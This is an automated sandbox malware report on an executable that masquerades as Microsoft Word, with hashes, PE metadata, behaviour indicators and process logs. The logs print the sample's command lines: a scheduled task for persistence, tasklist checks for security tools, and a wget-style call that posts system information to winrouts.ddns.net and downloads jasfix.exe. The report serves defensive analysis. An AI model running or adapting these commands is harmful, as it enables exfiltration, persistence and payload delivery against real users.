File name:

c285acbcb4c73ac3d8c91a5c11cfa3fc.exe

Full analysis: https://app.any.run/tasks/8a9c78dd-6e39-4085-bf60-8b7ab10c78d0
Verdict: Malicious activity
Analysis date: May 24, 2019, 08:33:15
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

C285ACBCB4C73AC3D8C91A5C11CFA3FC

SHA1:

697F984585DC1183B0FD56B229F3F5714B55DDF3

SHA256:

6FF1144FFCDF3D1D2EF36C8BEDF807C827C09DF094F8A7934124754B8FA80D79

SSDEEP:

24576:apT/nV+NCmKKXhC0YEyssIUoJ73vqFhYM/eq/o:aZV+NTKKA0ZDUoJD8A

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses TASKLIST.EXE to search for security tools

      • cmd.exe (PID: 636)

    • Application was dropped or rewritten from another process

      • winver.exe (PID: 1412)
      • MicrosoftCreate.exe (PID: 948)

    • Writes to a start menu file

      • cmd.exe (PID: 636)

    • Uses Task Scheduler to run other applications

      • cmd.exe (PID: 1360)

    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 1804)
      • schtasks.exe (PID: 344)

    • Runs PING.EXE for delay simulation

      • cmd.exe (PID: 1360)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • c285acbcb4c73ac3d8c91a5c11cfa3fc.exe (PID: 3636)
      • cmd.exe (PID: 636)
      • winver.exe (PID: 1412)
      • cmd.exe (PID: 1360)

    • Starts CMD.EXE for commands execution

      • c285acbcb4c73ac3d8c91a5c11cfa3fc.exe (PID: 3636)
      • WScript.exe (PID: 2580)
      • cmd.exe (PID: 1360)

    • Creates files in the user directory

      • cmd.exe (PID: 636)
      • cmd.exe (PID: 1360)

    • Uses TASKKILL.EXE to kill process

      • cmd.exe (PID: 636)
      • cmd.exe (PID: 1360)

    • Executes scripts

      • winver.exe (PID: 1412)

    • Starts Microsoft Office Application

      • cmd.exe (PID: 636)

    • Starts application with an unusual extension

      • cmd.exe (PID: 1360)

    • Uses REG.EXE to modify Windows registry

      • cmd.exe (PID: 3484)
      • cmd.exe (PID: 1152)
      • cmd.exe (PID: 3680)

    • Uses SYSTEMINFO.EXE to read environment

      • cmd.exe (PID: 1360)

    • Application launched itself

      • cmd.exe (PID: 1360)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2648)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2648)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Generic Win/DOS Executable (50)
.exe | DOS Executable Generic (49.9)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2016:03:05 13:06:17+01:00
PEType: PE32
LinkerVersion: 8
CodeSize: 99328
InitializedDataSize: 371712
UninitializedDataSize: -
EntryPoint: 0x1889f
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI
FileVersionNumber: 12.0.4518.1014
ProductVersionNumber: 12.0.4518.0
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Windows NT 32-bit
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: Neutral
CharacterSet: Windows, Latin1
CompanyName: Microsoft Corporation
FileDescription: Microsoft Office Word
FileVersion: 12.0.4518.1014
InternalName: WinWord
LegalCopyright: © 2006 Microsoft Corporation. All rights reserved.
LegalTrademarks1: Microsoft® is a registered trademark of Microsoft Corporation.
LegalTrademarks2: Windows® is a registered trademark of Microsoft Corporation.
OriginalFileName: WinWord.exe
ProductName: 2007 Microsoft Office system
ProductVersion: 12.0.4518.1014

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 05-Mar-2016 12:06:17
Detected languages:
  • English - United States
  • Russian - Russia
CompanyName: Microsoft Corporation
FileDescription: Microsoft Office Word
FileVersion: 12.0.4518.1014
InternalName: WinWord
LegalCopyright: © 2006 Microsoft Corporation. All rights reserved.
LegalTrademarks1: Microsoft® is a registered trademark of Microsoft Corporation.
LegalTrademarks2: Windows® is a registered trademark of Microsoft Corporation.
OriginalFilename: WinWord.exe
ProductName: 2007 Microsoft Office system
ProductVersion: 12.0.4518.1014

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0060
Pages in file: 0x0001
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x00000060

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 4
Time date stamp: 05-Mar-2016 12:06:17
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE
  • IMAGE_FILE_RELOCS_STRIPPED

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00001000
0x0001820A
0x00018400
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
6.66608
.rdata
0x0001A000
0x00003DBE
0x00003E00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
5.77464
.data
0x0001E000
0x00004AB0
0x00000800
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
3.50676
.rsrc
0x00023000
0x00057000
0x00056600
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
4.60911

Resources

Title
Entropy
Size
Codepage
Language
Type
1
5.2327
838
Latin 1 / Western European
English - United States
RT_MANIFEST
2
2.96414
296
Latin 1 / Western European
Russian - Russia
RT_ICON
3
5.25402
3752
Latin 1 / Western European
Russian - Russia
RT_ICON
4
5.58023
2216
Latin 1 / Western European
Russian - Russia
RT_ICON
5
4.46168
9640
UNKNOWN
Russian - Russia
RT_ICON
6
4.5383
4264
UNKNOWN
Russian - Russia
RT_ICON
7
4.61991
2440
UNKNOWN
Russian - Russia
RT_ICON
8
4.21671
1128
UNKNOWN
Russian - Russia
RT_ICON
9
3.8862
1384
UNKNOWN
Russian - Russia
RT_ICON
10
4.88463
9640
UNKNOWN
Russian - Russia
RT_ICON

Imports

ADVAPI32.dll
COMCTL32.dll
GDI32.dll
KERNEL32.dll
MSVCRT.dll
OLEAUT32.dll
SHELL32.dll
USER32.dll
ole32.dll
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
70
Monitored processes
32
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start c285acbcb4c73ac3d8c91a5c11cfa3fc.exe cmd.exe tasklist.exe no specs find.exe no specs find.exe no specs tasklist.exe no specs taskkill.exe no specs winver.exe winword.exe no specs wscript.exe no specs cmd.exe chcp.com no specs cmd.exe no specs find.exe no specs reg.exe no specs cmd.exe no specs find.exe no specs reg.exe no specs cmd.exe no specs reg.exe no specs find.exe no specs cmd.exe no specs cmd.exe no specs systeminfo.exe no specs schtasks.exe no specs schtasks.exe no specs ping.exe no specs timeout.exe no specs taskkill.exe no specs microsoftcreate.exe timeout.exe no specs timeout.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
344schtasks /Create /SC MINUTE /MO 32 /F /tn weristotal_C4BA3647_02 /tr "C:\Users\admin\setup.exe"C:\Windows\system32\schtasks.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
572Find /I "procexp.exe"C:\Windows\system32\find.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Find String (grep) Utility
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\find.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ulib.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
588Find /I "ProxyUser"C:\Windows\system32\find.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Find String (grep) Utility
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\find.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ulib.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
636cmd /c ""C:\Users\admin\AppData\Local\Temp\7ZipSfx.000\5572.cmd" "C:\Windows\system32\cmd.exe
c285acbcb4c73ac3d8c91a5c11cfa3fc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
856Find /I "ProxyServer"C:\Windows\system32\find.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Find String (grep) Utility
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\find.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ulib.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
944Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"C:\Windows\system32\reg.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Registry Console Tool
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\reg.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
948MicrosoftCreate.exe --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Firefox/61.0" --post-data="versiya=06.05&comp=USER-PC&id=USER-PC_C4BA3647&sysinfo=DocumentHost Name: USER-PC+###OS Name: Microsoft Windows 7 Professional +###OS Version: 6.1.7601 Service Pack 1 Build 7601+###OS Manufacturer: Microsoft Corporation+###OS Configuration: Standalone Workstation+###OS Build Type: Multiprocessor Free+###Registered Owner: admin+###Registered Organization: +###Product ID: 00371-461-2203502-85564+###Original Install Date: 10/5/2017, 10:19:56 AM+###System Boot Time: 5/24/2019, 9:12:30 AM+###System Manufacturer: DELL+###System Model: DELL+###System Type: X86-based PC+###Processor(s): 1 Processor(s) Installed.+###[01]: x64 Family 6 Model 94 Stepping 3 GenuineIntel ~3192 Mhz+###BIOS Version: DELL DELL, 1/1/2011+###Windows Directory: C:\Windows+###System Directory: C:\Windows\system32+###Boot Device: \Device\HarddiskVolume1+###System Locale: en-us;English (United States)+###Input Locale: en-us;English (United States)+###Time Zone: (UTC) Dublin, Edinburgh, Lisbon, London+###Total Physical Memory: 3,584 MB+###Available Physical Memory: 2,991 MB+###Virtual Memory: Max Size: 7,166 MB+###Virtual Memory: Available: 6,602 MB+###Virtual Memory: In Use: 564 MB+###Page File Location(s): C:\pagefile.sys+###Domain: WORKGROUP+###Logon Server: \\USER-PC+###Hotfix(s): 3 Hotfix(s) Installed.+###[01]: KB2534111+###[02]: KB2999226+###[03]: KB976902+###Network Card(s): 1 NIC(s) Installed.+###[01]: Intel(R) PRO/1000 MT Network Connection+###Connection Name: Connection+###DHCP Enabled: No+###IP address(es)+###[01]: 192.168.100.53+###[02]: fe80::a179:b3ff:199:2314+###" "http://winrouts.ddns.net" -q -N http://winrouts.ddns.net -O jasfix.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\MicrosoftCreate.exe
cmd.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
1
Modules
Images
c:\users\admin\appdata\local\temp\rarsfx0\microsoftcreate.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
1152C:\Windows\system32\cmd.exe /c Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"|Find /I "ProxyServer"C:\Windows\system32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1360"C:\Windows\System32\cmd.exe" /c 5512.cmdC:\Windows\System32\cmd.exe
WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\usp10.dll
c:\windows\system32\lpk.dll
1412C:\Users\admin\winver.exe -pcjcbnt[eqgbyljcsC:\Users\admin\winver.exe
cmd.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\winver.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\version.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sfc_os.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\rsaenh.dll
Total events
2 568
Read events
1 951
Write events
612
Delete events
5

Modification events

(PID) Process:(3636) c285acbcb4c73ac3d8c91a5c11cfa3fc.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(3636) c285acbcb4c73ac3d8c91a5c11cfa3fc.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(1412) winver.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(1412) winver.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(636) cmd.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1320681502
(PID) Process:(2648) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:}46
Value:
7D343600580A0000010000000000000000000000
(PID) Process:(2648) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2580) WScript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(2580) WScript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(2648) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
Executable files
4
Suspicious files
2
Text files
4
Unknown types
4

Dropped files

PID
Process
Filename
Type
2648WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR4C6E.tmp.cvr —
MD5:—
SHA256:—
3636c285acbcb4c73ac3d8c91a5c11cfa3fc.exeC:\Users\admin\AppData\Local\Temp\7ZipSfx.000\29572document
MD5:—
SHA256:—
3636c285acbcb4c73ac3d8c91a5c11cfa3fc.exeC:\Users\admin\AppData\Local\Temp\7ZipSfx.000\5572.cmdtext
MD5:—
SHA256:—
3636c285acbcb4c73ac3d8c91a5c11cfa3fc.exeC:\Users\admin\AppData\Local\Temp\7ZipSfx.000\6978lnk
MD5:—
SHA256:—
1412winver.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\setup.vbstext
MD5:—
SHA256:—
636cmd.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winver.lnklnk
MD5:—
SHA256:—
636cmd.exeC:\Users\admin\winver.exeexecutable
MD5:—
SHA256:—
636cmd.exeC:\Users\admin\AppData\Local\Temp\7ZipSfx.000\Document.docxdocument
MD5:—
SHA256:—
1412winver.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\5512.cmdtext
MD5:—
SHA256:—
1360cmd.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\JaNKJoetext
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
0
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

No data

DNS requests

Domain
IP
Reputation
winrouts.ddns.net
  • 0.0.0.0
malicious

Threats

No threats detected
No debug info
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Reports
c285acbcb4c73ac3d8c91a5c11cfa3fc.exe